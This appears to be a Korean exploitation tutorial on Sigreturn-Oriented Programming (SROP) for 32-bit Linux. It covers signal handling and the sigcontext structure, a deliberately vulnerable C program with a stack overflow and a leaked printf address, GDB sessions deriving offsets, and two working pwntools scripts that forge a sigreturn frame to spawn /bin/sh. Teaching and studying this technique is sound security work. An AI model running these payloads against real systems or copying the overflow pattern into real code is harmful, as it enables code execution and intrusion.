Excuse the ads! We need some help to keep our site up.

List

SROP(Sigreturn-oriented programming)

  • SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.
    • 해당 기법을 이용하여 원하는 시스템 함수를 호출할 수 있습니다.

Signal

  • signal은 프로세스에게 이벤트가 발생했음을 알립니다.

  • signal은 다른 프로세스에게 시그널을 전송 할 수 있습니다.

    • signal은 원시적인 형태의 IPC(interprocess communication)로 사용 할 수 있습니다.
    • signal은 자기 자신에게 시그널을 보낼수도 있습니다.
  • signal은 일반적으로 커널이 송신하며, 다음과 같은 이벤트 종류가 있습니다.

    • 하드웨어 예외가 발생한 경우

    • 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우

      • Interrupt character(Control + c)

      • Suspend character(Control + z)
    • 소프트웨어 이벤트가 발생한 경우
      • 파일 디스크립터에 입력이 발생
      • 타이머 만료
      • 해당 프로세스의 자식 프로세스가 종료
  • signal은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행됩니다.
    • 시그널 무시합니다.
    • 프로세스 종료합니다.
    • 코어 덤프 파일을 생성 후 프로세스 종료합니다.
    • 프로세스 중지합니다.
    • 프로세스의 실행을 재개합니다.

Signal handler

  • signal handler는 프로그램이 특정 시그널의 기본 동작을 수행하는 대신 프로그래머가 원하는 동작을 수행하도록 변경할 수 있습니다.
  • signal handler는 User Mode 프로세스에 정의되어 있고 User Mode 코드 세그먼트에 포함됩니다.
  • signal handler가 User Mode 에서 실행되는 동안 Kernel Mode에서 handle_signal() 함수가 실행 됩니다.
    • User Mode에서 Kernel Mode로 진입시 User Mode에서 사용중이던 context를 Kernel stack에 저장합니다.
    • Kernel Mode에서 User Mode로 진입시 Kernel stack은 모두 초기화됩니다.
    • 이러한 문제를 해결하기 위해 setup_frame(), sigreturn() 함수를 사용합니다.
      • setup_frame() : User Mode의 stack을 설정
      • sigreturn() : Kernel Mode stack에 hardware context를 복사하고, User Mode stack의 원래의 content를 저장한다.

  • Signal handler는 다음과 같이 처리됩니다.
    • 인터럽트 또는 예외가 발생하면 프로세스는 Kernel Mode로 전환됩니다. 
    • 커널은 User Mode로 돌아 가기 전에 do_signal() 함수를 실행합니다.
      • do_signal() 함수는 handle_signal()을 호출하여 signal를 처리합니다.
      • handle_signal() 함수는 setup_frame()을 호출하여 User Mode Stack에 context를 저장합니다.
    • 프로세스가 User Mode로 다시 전환되면 signal handler가 실행됩니다.
    • signal handler가 종료되면 setup_frame() 함수에 의해 User Mode stack에 저장된 리턴 코드가 실행됩니다.
      • 해당 코드에 의해 sigreturn() 시스템 함수가 호출됩니다.
        • sigreturn() 시스템 함수에 의해 Kernel Mode Stack에서 일반 프로그램의 hardware context를 User Mode의 stack에 복사합니다.
        • sigreturn() 함수는 restore_sigcontext() 을 호출하여 User Mode 스택을 원래 상태로 복원합니다 
    • 시스템 호출이 종료되면 일반 프로그램은 실행을 재개 할 수 있습니다.
Save and restore sigcontent

Example code

sig.c
//gcc -m32 -g -o sig32 sig.c
#include <stdio.h>
#include <signal.h>

struct sigcontext sigcontext;

void handle_signal(int signum){
	printf("Signal number: %d\n", signum);
}

int main(){
	signal(SIGINT, (void *)handle_signal);
	while(1) {}
	return 0;
}

Debugging

  • 다음과 같이 handle_signal 함수에 Break point를 설정합니다.
  • 그리고 GDB가 인트럽트에 반응하지 않도록 설정합니다.
Break points
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./sig32
Reading symbols from ./sig32...done.
gdb-peda$ b handle_signal 
Breakpoint 1 at 0x8048441: file sig.c, line 9.
gdb-peda$ handle SIGINT nostop pass
Signal        Stop	Print	Pass to program	Description
SIGINT        No	Yes	Yes		Interrupt
gdb-peda$ 
  • 다음과 같이 프로그램을 실행 후 "Ctrl + C"를 눌러서 Interrupt 신호를 발생시킵니다.
    • bt명령어를 이용해 handle_signal 함수가 호출되지 전에 실행된 함수 목록을 확인 할 수 있습니다.
Prevent GDB from intercepting signals
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/sig32 
^C
Program received signal SIGINT, Interrupt.
Breakpoint 1, handle_signal (signum=0x2) at sig.c:9
9		printf("Signal number: %d\n", signum);
gdb-peda$ bt
#0  handle_signal (signum=0x2) at sig.c:9
#1  <signal handler called>
#2  main () at sig.c:15
#3  0xf7e1d637 in __libc_start_main () from /lib32/libc.so.6
#4  0x08048361 in _start ()
gdb-peda$ 
  • 다음과 같이 0번째 Frame에서 Stack에 저장된 각 각의 레지스터 값을 확인 할 수 있습니다.
Frame 0
gdb-peda$ frame 0
#0  handle_signal (signum=0x2) at sig.c:9
9		printf("Signal number: %d\n", signum);

gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eax
$1 = 0x0
gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->esp
$2 = 0xffffd590
gdb-peda$ p ((struct sigcontext *)($ebp + 3 * 4))->eip
$3 = 0x804847a
gdb-peda$ 
  • 다음과 같이 1번째 Frame의 내용을 보면 __kernel_sigreturn() 함수에서 에서 sys_sigreturn() 시스템 함수 호출합니다.
    • x84에서 sys_sigreturn 시스템 함수의 번호는 0x77(119) 입니다.
Frame 1
gdb-peda$ frame 1
#1  <signal handler called>
gdb-peda$ x/3i $eip
=> 0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ 
  • 다음과 같이 signal에 대한 처리가 끝난 후에 Frame 0의 Stack에 저장된 값이 레지스터에 저장된 것을 확인 할 수 있습니다.
register information
gdb-peda$ b 15
Breakpoint 2 at 0x804847a: file sig.c, line 15.
gdb-peda$ c
Continuing.
Signal number: 2

Breakpoint 2, main () at sig.c:15
15		while(1) {}
gdb-peda$ i r
eax            0x0	0x0
ecx            0x0	0x0
edx            0x0	0x0
ebx            0x0	0x0
esp            0xffffd590	0xffffd590
ebp            0xffffd598	0xffffd598
esi            0xf7fb5000	0xf7fb5000
edi            0xf7fb5000	0xf7fb5000
eip            0x804847a	0x804847a <main+35>
eflags         0x286	[ PF SF IF ]
cs             0x23	0x23
ss             0x2b	0x2b
ds             0x2b	0x2b
es             0x2b	0x2b
fs             0x0	0x0
gs             0x63	0x63
gdb-peda$

sigreturn()

  • sigreturn() 시스템 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode 돌아 올때 stack을 복원하기 위해 사용되는 함수 입니다.
    • sigreturn() 함수는 stack을 복원하기 위해 restore_sigcontext()를 호출합니다.
#ifdef CONFIG_X86_32
asmlinkage unsigned long sys_sigreturn(void){
	struct pt_regs *regs = current_pt_regs();
	struct sigframe __user *frame;
...
	if (restore_sigcontext(regs, &frame->sc, 0))
		goto badframe;
...
}
#endif /* CONFIG_X86_32 */
  • restore_sigcontext() 함수는 COPY_SEG(), COPY() 함수 등 을 이용하여 stack에 저장된 값을 각 레지스터에 복사합니다.

    • 즉, ROP와 같이 값을 레지스터에 저장할 수 있는 Gadget이 없어도 sigreturn() 함수를 이용해 각 레지스터에 원하는 값을 저장할 수 있습니다.

static int restore_sigcontext(struct pt_regs *regs, struct sigcontext __user *sc, unsigned long uc_flags){
	unsigned long buf_val;
	void __user *buf;
	unsigned int tmpflags;
	unsigned int err = 0;

	/* Always make any pending restarted system calls return -EINTR */
	current->restart_block.fn = do_no_restart_syscall;

	get_user_try {

#ifdef CONFIG_X86_32
		set_user_gs(regs, GET_SEG(gs));
		COPY_SEG(fs);
		COPY_SEG(es);
		COPY_SEG(ds);
#endif /* CONFIG_X86_32 */

		COPY(di); COPY(si); COPY(bp); COPY(sp); COPY(bx);
		COPY(dx); COPY(cx); COPY(ip); COPY(ax);
...
}
  • stack에 저장된 레지스터 값들은 restore_sigcontext()함수의 인자값 &frame->sc에 의해 전달됩니다.
#define sigframe_ia32		sigframe

...

#if defined(CONFIG_X86_32) || defined(CONFIG_IA32_EMULATION)
struct sigframe_ia32 {
	u32 pretcode;
	int sig;
	struct sigcontext_32 sc;

	struct _fpstate_32 fpstate_unused;
#ifdef CONFIG_IA32_EMULATION
	unsigned int extramask[_COMPAT_NSIG_WORDS-1];
#else /* !CONFIG_IA32_EMULATION */
	unsigned long extramask[_NSIG_WORDS-1];
#endif /* CONFIG_IA32_EMULATION */
	char retcode[8];
	/* fp state follows here */
};
  • "&frame->sc"는 sigcontext 구조체를 입니다.
    • 즉, SROP 를 이용할 때 Stack에 다음과 같은 형태로 값을 저장해야 합니다.

# ifdef __i386__
struct sigcontext {
	__u16				gs, __gsh;
	__u16				fs, __fsh;
	__u16				es, __esh;
	__u16				ds, __dsh;
	__u32				edi;
	__u32				esi;
	__u32				ebp;
	__u32				esp;
	__u32				ebx;
	__u32				edx;
	__u32				ecx;
	__u32				eax;
	__u32				trapno;
	__u32				err;
	__u32				eip;
	__u16				cs, __csh;
	__u32				eflags;
	__u32				esp_at_signal;
	__u16				ss, __ssh;
	struct _fpstate __user		*fpstate;
	__u32				oldmask;
	__u32				cr2;
};

Proof of concept

Example code

srop32.c
//gcc -m32 -fno-stack-protector -o srop32 srop32.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
 
void main(){
    seteuid(getuid());
    write(1,"Hello SROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x080485ab: vuln 함수 코드 첫부분

    • 0x080485e7: read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/SROP$ gdb -q ./srop32
Reading symbols from ./srop32...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x080485ab <+0>:	push   ebp
   0x080485ac <+1>:	mov    ebp,esp
   0x080485ae <+3>:	sub    esp,0x48
   0x080485b1 <+6>:	sub    esp,0x8
   0x080485b4 <+9>:	push   0x80486c0
   0x080485b9 <+14>:	push   0xffffffff
   0x080485bb <+16>:	call   0x8048490 <dlsym@plt>
   0x080485c0 <+21>:	add    esp,0x10
   0x080485c3 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x080485c6 <+27>:	sub    esp,0x8
   0x080485c9 <+30>:	push   DWORD PTR [ebp-0xc]
   0x080485cc <+33>:	push   0x80486c7
   0x080485d1 <+38>:	call   0x8048440 <printf@plt>
   0x080485d6 <+43>:	add    esp,0x10
   0x080485d9 <+46>:	sub    esp,0x4
   0x080485dc <+49>:	push   0x100
   0x080485e1 <+54>:	lea    eax,[ebp-0x3e]
   0x080485e4 <+57>:	push   eax
   0x080485e5 <+58>:	push   0x0
   0x080485e7 <+60>:	call   0x8048430 <read@plt>
   0x080485ec <+65>:	add    esp,0x10
   0x080485ef <+68>:	nop
   0x080485f0 <+69>:	leave  
   0x080485f1 <+70>:	ret    
End of assembler dump.
gdb-peda$ b *0x080485ab
Breakpoint 1 at 0x80485ab
gdb-peda$ b *0x080485e7
Breakpoint 2 at 0x80485e7
gdb-peda$ 
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0xffffd58c) - buf 변수의 시작 주소 (0xffffd54a) = 66

    • 즉, 66개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Check overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/SROP/srop32 
Hello SROP
Breakpoint 1, 0x080485ab in vuln ()
gdb-peda$ i r esp
esp            0xffffd58c	0xffffd58c
gdb-peda$ x/wx 0xffffd58c
0xffffd58c:	0x0804862d
gdb-peda$ x/i 0x0804862d
   0x804862d <main+59>:	nop
gdb-peda$ c
Continuing.
Printf() address : 0xf7e49020

Breakpoint 2, 0x080485e7 in vuln ()
gdb-peda$ i r esp
esp            0xffffd530	0xffffd530
gdb-peda$ x/3wx 0xffffd530
0xffffd530:	0x00000000	0xffffd54a	0x00000100
gdb-peda$ p/d 0xffffd58c - 0xffffd54a
$1 = 66
gdb-peda$ 

Exploit method

  • SROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
  1. sigreturn()함수를 이용해 레지스터에 필요한 값을 저장

    1. ESP : sigreturn() 함수 호출 후 이동할 주소("int 0x80" 명령어가 저장된 주소)
    2. EBX : "/bin/sh" 문자열이 저장된 주소
    3. EAX : execve() 함수의 시스템 콜 번호
    4. EIP : "int 0x80" 명령어가 저장된 주소
    5. CS : User Code(0x23)
    6. SS : User Data / Stack(0x2b)
  2. int 0x80 명령어 실행
  • 이를 코드로 표현하면 다음과 같습니다.
ROP code
sigreturn()
int 0x80
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • Libc offset
    • printf
    • __kernel_sigreturn
    • "/bin/sh"명령가 저장된 영역

  • Gadgets

    • int 0x80

Libc offset

  • 다음과 같이 필요한 offset을 확인 할 수 있습니다.
    • libc offset : printf(0xf7e49020) - libc base(0xf7e00000) = 0x49020

    • __kernel_sigreturn offset : __kernel_sigreturn(0xf7fd8de0) - libc base(0xf7e00000) = 0x1d8de0

    • "/bin/sh" offset : "/bin/sh" address(0xf7f5902b) -  libc base(0xf7e00000) = 0x15902b

Offset
gdb-peda$ vmmap
Start      End        Perm	Name
...
0xf7e00000 0xf7fad000 r-xp	/lib32/libc-2.23.so
0xf7fad000 0xf7fae000 ---p	/lib32/libc-2.23.so
0xf7fae000 0xf7fb0000 r--p	/lib32/libc-2.23.so
0xf7fb0000 0xf7fb1000 rw-p	/lib32/libc-2.23.so
...
gdb-peda$ p/x 0xf7e49020 - 0xf7e00000
$2 = 0x49020
gdb-peda$ p __kernel_sigreturn
$3 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ p/x 0xf7fd8de0 - 0xf7e00000
$4 = 0x1d8de0

gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5902b ("/bin/sh")
gdb-peda$ p/x 0xf7f5902b - 0xf7e00000
$5 = 0x15902b
gdb-peda$

Offset of __kernel_sigreturn 

  • 다음과 같이 __kernel_sigreturn() 함수를 Exploit에 사용할 수 있습니다.
    • 0xf7fd8de0 주소를 사용할 경우 "pop eax" 명령어가 포함되어 있기 때문에 0xf7fd8de0 호출 뒤에 임의의 값(4bit)이 저장되어야 합니다.
      • Ex) __kernel_sigreturn() + 임의의 값(4bit) + sigcontext 구조체
    • 0xf7fd8de1 주소를 사용할 경우 "mov eax,0x77" 명령어가 실행되기 때문에 0xf7fd8de1 호출 뒤에 sigcontext 구조체가 저장되어야 합니다.

      • Ex) __kernel_sigreturn() + sigcontext 구조체


__kernel_sigreturn()
gdb-peda$ x/3i 0xf7fd8de0
=> 0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ 


Find Gadgets

  • 기본적으로 다음과 같이 해당 Memory Map에서 필요한 Gadgets을 찾을 수 있습니다.
list of gadgets for different systems
OSASLRGadgetMemory MapFixed Memory Location
Linux i386(tick)sigreturn[vdso]
Linux x86-64(tick)sigreturnLibc
Linux < 3.3 x86-64(error)syscall & return[vsyscall]0xffffffffff600000
Linux ≥ 3.3 x86-64(tick)syscall & returnLibc
FreeBSD 9.2 x86-64(error)sigreturn
0x7ffffffff000
Mac OSX x86-64(tick)sigreturnLibc
iOS ARM(tick)sigreturnLibsystem
iOS ARM(tick)syscall & returnLibsystem
Linux < 3.11 ARM(error)sigreturn[vectors]0xffff0000
  • 테스트 프로그램이 32bit이기 때문에 sigreturn() 함수를 vdso 영역에서 확인 할 수 있습니다.
vdso
gdb-peda$ p __kernel_sigreturn
$6 = {<text variable, no debug info>} 0xf7fd8de0 <__kernel_sigreturn>
gdb-peda$ x/3i 0xf7fd8de0
   0xf7fd8de0 <__kernel_sigreturn>:	pop    eax
   0xf7fd8de1 <__kernel_sigreturn+1>:	mov    eax,0x77
   0xf7fd8de6 <__kernel_sigreturn+6>:	int    0x80
gdb-peda$ vmmap
Start      End        Perm	Name
...
0xf7fd5000 0xf7fd8000 r--p	[vvar]
0xf7fd8000 0xf7fda000 r-xp	[vdso]
...
gdb-peda$ 

CS(Code segment) & SS(Stack Segment)

  • SROP의 Exploit code를 작성할 때 중요한 부분이 있습니다.

    • sigcontext 구조체 형태로 stack에 값을 저장할 때 최소한 CS, SS레지스터에 대한 값을 설정해야합니다.

  • Linux kernel에는 4개의 세그먼트만 존재합니다.

    • 공격 코드들은 User Mode에서 실행되기 때문에 User Code, User Data / Stack 값을 사용해야 합니다.
    • 그리고 32bit 프로그램의 경우 실행되는 운영체제(32bit / 64bit) 환경에 따라 사용되는 세그먼트 값이 다릅니다.
      • 32bit 운영체제에서는 0x73, 0x7b가 사용횝니다.
      • 62bit 운영체제에서는 실행되는 32bit 프로그램의 경우 0x23, 0x2b가 사용됩니다.
    • 이외의 값을 저장하게 되면 에러가 발생하게됩니다.

Segment
PurposeSegment(32bit)Segment(64bit - 32bit)

Kernel Code

0x600x8

Kernel Data / Stack

0x680x18
User Code0x730x23
User Data / Stack0x7b0x2b
#ifdef CONFIG_X86_32

...

#define GDT_ENTRY_TLS_MIN		6
#define GDT_ENTRY_TLS_MAX 		(GDT_ENTRY_TLS_MIN + GDT_ENTRY_TLS_ENTRIES - 1)

#define GDT_ENTRY_KERNEL_CS		12
#define GDT_ENTRY_KERNEL_DS		13
#define GDT_ENTRY_DEFAULT_USER_CS	14
#define GDT_ENTRY_DEFAULT_USER_DS	15
#define GDT_ENTRY_TSS			16
#define GDT_ENTRY_LDT			17
#define GDT_ENTRY_PNPBIOS_CS32		18
#define GDT_ENTRY_PNPBIOS_CS16		19
#define GDT_ENTRY_PNPBIOS_DS		20
#define GDT_ENTRY_PNPBIOS_TS1		21
#define GDT_ENTRY_PNPBIOS_TS2		22
#define GDT_ENTRY_APMBIOS_BASE		23

#define GDT_ENTRY_ESPFIX_SS		26
#define GDT_ENTRY_PERCPU		27
#define GDT_ENTRY_STACK_CANARY		28

#define GDT_ENTRY_DOUBLEFAULT_TSS	31

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			32

/*
 * Segment selector values corresponding to the above entries:
 */

#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __ESPFIX_SS			(GDT_ENTRY_ESPFIX_SS*8)
#else /* 64-bit: */

#include <asm/cache.h>

#define GDT_ENTRY_KERNEL32_CS		1
#define GDT_ENTRY_KERNEL_CS		2
#define GDT_ENTRY_KERNEL_DS		3

/*
 * We cannot use the same code segment descriptor for user and kernel mode,
 * not even in long flat mode, because of different DPL.
 *
 * GDT layout to get 64-bit SYSCALL/SYSRET support right. SYSRET hardcodes
 * selectors:
 *
 *   if returning to 32-bit userspace: cs = STAR.SYSRET_CS,
 *   if returning to 64-bit userspace: cs = STAR.SYSRET_CS+16,
 *
 * ss = STAR.SYSRET_CS+8 (in either case)
 *
 * thus USER_DS should be between 32-bit and 64-bit code selectors:
 */
#define GDT_ENTRY_DEFAULT_USER32_CS	4
#define GDT_ENTRY_DEFAULT_USER_DS	5
#define GDT_ENTRY_DEFAULT_USER_CS	6

/* Needs two entries */
#define GDT_ENTRY_TSS			8
/* Needs two entries */
#define GDT_ENTRY_LDT			10

#define GDT_ENTRY_TLS_MIN		12
#define GDT_ENTRY_TLS_MAX		14

/* Abused to load per CPU data from limit */
#define GDT_ENTRY_PER_CPU		15

/*
 * Number of entries in the GDT table:
 */
#define GDT_ENTRIES			16

/*
 * Segment selector values corresponding to the above entries:
 *
 * Note, selectors also need to have a correct RPL,
 * expressed with the +3 value for user-space selectors:
 */
#define __KERNEL32_CS			(GDT_ENTRY_KERNEL32_CS*8)
#define __KERNEL_CS			(GDT_ENTRY_KERNEL_CS*8)
#define __KERNEL_DS			(GDT_ENTRY_KERNEL_DS*8)
#define __USER32_CS			(GDT_ENTRY_DEFAULT_USER32_CS*8 + 3)
#define __USER_DS			(GDT_ENTRY_DEFAULT_USER_DS*8 + 3)
#define __USER32_DS			__USER_DS
#define __USER_CS			(GDT_ENTRY_DEFAULT_USER_CS*8 + 3)
#define __PER_CPU_SEG			(GDT_ENTRY_PER_CPU*8 + 3)

/* TLS indexes for 64-bit - hardcoded in arch_prctl(): */
#define FS_TLS				0
#define GS_TLS				1

#define GS_TLS_SEL			((GDT_ENTRY_TLS_MIN+GS_TLS)*8 + 3)
#define FS_TLS_SEL			((GDT_ENTRY_TLS_MIN+FS_TLS)*8 + 3)

#endif

Exploit code

  • 다음과 같이 Exploit code를 작성 할 수 있습니다.
srop.py
from pwn import *
  
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
syscall = libcBase + 0x1d5de6
binsh = libcBase + 0x15902b
ksigreturn = libcBase + 0x1d5de0

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)

exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn)
exploit += p32(0x0)
 
exploit += p32(0x0)         #GS
exploit += p32(0x0)         #FS
exploit += p32(0x0)         #ES
exploit += p32(0x0)         #DS
exploit += p32(0x0)         #EDI
exploit += p32(0x0)         #ESI
exploit += p32(0x0)         #EBP
exploit += p32(syscall)     #ESP
exploit += p32(binsh)       #EBX
exploit += p32(0x0)         #EDX
exploit += p32(0x0)         #ECX
exploit += p32(0xb)         #EAX
exploit += p32(0x0)         #trapno
exploit += p32(0x0)         #err
 
exploit += p32(syscall)     #EIP
#Runed a 32bit program in the 64bit operation system.
exploit += p32(0x23)        #CS
exploit += p32(0x0)         #eflags
exploit += p32(0x0)         #esp_atsignal
exploit += p32(0x2b)        #SS
#Runed a 32bit program in the 32bit operation system.
#exploit += p32(0x73)        #CS
#exploit += p32(0x0)         #eflags
#exploit += p32(0x0)         #esp_atsignal
#exploit += p32(0x7b)        #SS
 
p.send(exploit)
p.interactive()
  • pwntools를 이용해 조금더 편하게 코드를 작성할 수 있습니다.
srop-pwn.py
from pwn import *
 
binary = ELF('./srop32')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

#You need to change the value to match the environment you are testing.
libcBase = stackAddr - 0x49020
ksigreturn = libcBase + 0x1d5de0 
syscall = libcBase + 0x1d5de6 
binsh = libcBase + 0x15902b

print 'The base address of Libc    : ' + hex(libcBase)
print 'Address of syscall gadget   : ' + hex(syscall)
print 'Address of string "/bin/sh" : ' + hex(binsh)
print 'Address of sigreturn()      : ' + hex(ksigreturn)
 
exploit = ''
exploit += "\x90" * 66
exploit += p32(ksigreturn) 	#ret
exploit += p32(0x0)

#Runed a 32bit program in the 64bit operation system.
frame = SigreturnFrame(kernel='amd64')
#Runed a 32bit program in the 32bit operation system.
#frame = SigreturnFrame(kernel='i386')
frame.eax = 0xb
frame.ebx = binsh
frame.esp = syscall 
frame.eip = syscall
 
exploit += str(frame)

p.send(exploit)
p.interactive()

Related site

Comments